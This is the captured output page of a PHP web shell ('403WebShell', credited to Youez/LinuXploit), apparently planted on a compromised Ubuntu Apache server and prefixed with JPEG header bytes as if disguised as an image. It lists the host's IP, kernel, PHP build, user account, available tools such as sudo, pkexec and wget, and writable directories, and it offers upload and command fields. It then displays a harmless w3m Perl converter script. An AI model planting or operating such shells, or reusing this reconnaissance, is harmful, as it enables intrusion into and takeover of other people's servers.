????JFIF??x?x????'403WebShell
403Webshell
Server IP : 79.136.114.73  /  Your IP : 216.73.216.0
Web Server : Apache/2.4.7 (Ubuntu) PHP/5.5.9-1ubuntu4.29 OpenSSL/1.0.1f
System : Linux b8009 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64
User : www-data ( 33)
PHP Version : 5.5.9-1ubuntu4.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib/w3m/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib/w3m/xface2xpm
#!/usr/bin/perl

$USAGE = "xface2xpm [-t] [-fg <color>] [-bg <color>] [<file>]";

# compface/uncompface
#   ftp://metalab.unc.edu/pub/Linux/apps/graphics/convert/
$UNCOMPFACE = "uncompface";

$T = "c";
$BG = "white";
$FG = "black";
while (@ARGV) {
	$_ = shift @ARGV;
	if (/^-h/) {
		&usage(0);
	} elsif (/^-t/) {
		$T = "s";
		$BG = "none";
	} elsif (/^-bg/) {
		@ARGV || &usage(1);
		$BG = shift @ARGV;
	} elsif (/^-fg/) {
		@ARGV || &usage(1);
		$FG = shift @ARGV;
	} elsif (/^-./) {
		&usage(1);
	} else {
		unshift(@ARGV, $_);
		last;
	}
}

$xf = "";
while(<>) {
#	s/^X-Face://i if ($xf eq "");
	$xf .= $_;
}

pipe(R, W2);
pipe(R2, W);
if (! fork()) {
	close(R);
	close(W);
	open(STDIN, "<&R2");
	open(STDOUT, ">&W2");
	exec $UNCOMPFACE;
	exit 1;
}
close(R2);
close(W2);
print W $xf;
close(W);
while(<R>) {
	while(s/0x(..)(..)//) {
		push(@bm, hex($1), hex($2));
	}
}
close(R);
@bm || exit 1;

$W = 48;
$H = @bm * 8 / $W;	# must be 48
print <<EOF;
/* XPM */
static char *xf[] = {
/* columns rows colors chars-per-pixel */
"$W $H 2 1",
"  $T $BG",
". c $FG",
/* pixels */
EOF
while (@bm) {
	print "\"";
	for (1..6) {
		$x = shift @bm;
		for $i (1 .. 8) {
			print ((($x >> (8-$i)) & 1) ? "." : " ");
		}
	}
	print (@bm ? "\",\n" : "\"\n");
}
print <<EOF;
};
EOF

sub usage {
	local($err) = @_;
	if ($err) {
		print STDERR "$USAGE\n";
	} else {
		print "$USAGE\n";
	}
	exit $err;
}

Youez - 2016 - github.com/yon3zu
LinuXploit